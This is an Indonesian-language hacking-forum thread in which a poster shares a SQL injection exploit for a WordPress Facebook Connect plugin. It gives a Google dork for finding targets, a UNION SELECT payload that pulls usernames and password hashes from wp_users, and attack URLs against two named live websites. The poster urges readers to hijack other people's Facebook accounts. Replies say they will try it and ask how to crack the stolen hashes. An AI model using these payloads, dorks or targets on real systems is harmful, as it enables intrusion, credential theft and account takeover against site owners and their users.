Wordpress Facebook Connect [0day]

[wenkhairu]

kalo ada yang mau Hack Facebook orang, sebelum bug ini di tutup, cepetan, tapi sebelum hack yang punya facebook anda harus bekerja keras untuk cracking password dari Worpdressnya, kalo Pass sudah ke crack Facebook akan jadi milik kalian

bug ada di

Code:

facebook.php
?fbconnect_action=myhome

Google Dork

Code:

inurl:"fbconnect_action=myhome"

Ecploit

Code:

?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--

POC

Code:

http://readingroars.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--

Code:

http://www.bellanaija.com/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(user_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+from+wp_users--

[KataM]

di amankan dulu omz wenk,, ane coba dulu ahh

[El-Farhatz]

wah mantab om wenk , mempelajari dolo ,,, eh iah buat artikelnya om , submit di site2 exploit , kalo indo pnya yah ini http://exploit-id.com

[Matmund Newbie]

http://www.1337day.com/exploits/15790

[civo]

cuman susahnya WP klo crack pass nya
ada solusi buat decrypt pass WP ga kakak semua

[wenkhairu]

(04-06-2011 12:37 PM)matmund Wrote:  http://www.1337day.com/exploits/15790

sip mantab, ni satu lagi sumbernya om

Code:

http://www.exploit-db.com/ghdb/3708/

[Matmund Newbie]

Inilah kegunaan kita untuk merubah table prefix pada wordpress. POC di atas masih default wp_user, tapi kalo dah di rubah "wp_" jadi "apaja_" sehingga "apaja_user" kan sulit di tebak'a untuk bisa inject.. :((

---

(04-06-2011 12:45 PM)wenkhairu Wrote:  

(04-06-2011 12:37 PM)matmund Wrote:  http://www.1337day.com/exploits/15790

sip mantab, ni satu lagi sumbernya om

Code:

http://www.exploit-db.com/ghdb/3708/

Masalah'a nge-Crack'a gimana ini om.. :((
Gak bisa saya...

[KataM]

(04-06-2011 12:45 PM)matmund Wrote:  Inilah kegunaan kita untuk merubah table prefix pada wordpress. POC di atas masih default wp_user, tapi kalo dah di rubah "wp_" jadi "apaja_" sehingga "apaja_user" kan sulit di tebak'a untuk bisa inject.. :((

---

(04-06-2011 12:45 PM)wenkhairu Wrote:  

(04-06-2011 12:37 PM)matmund Wrote:  http://www.1337day.com/exploits/15790

sip mantab, ni satu lagi sumbernya om

Code:

http://www.exploit-db.com/ghdb/3708/

Masalah'a nge-Crack'a gimana ini om.. :((
Gak bisa saya...

ane rasa ga ada tuch

nieh ane belum' coba juga tuch ...
http://revtan.site40.net/cracker/?

kalu di burte force si bisa,, tapi itulah lama nunggu'nya

[wendyaja]

mantab oms nice share

[aldiekap]

om wenk ijin coba om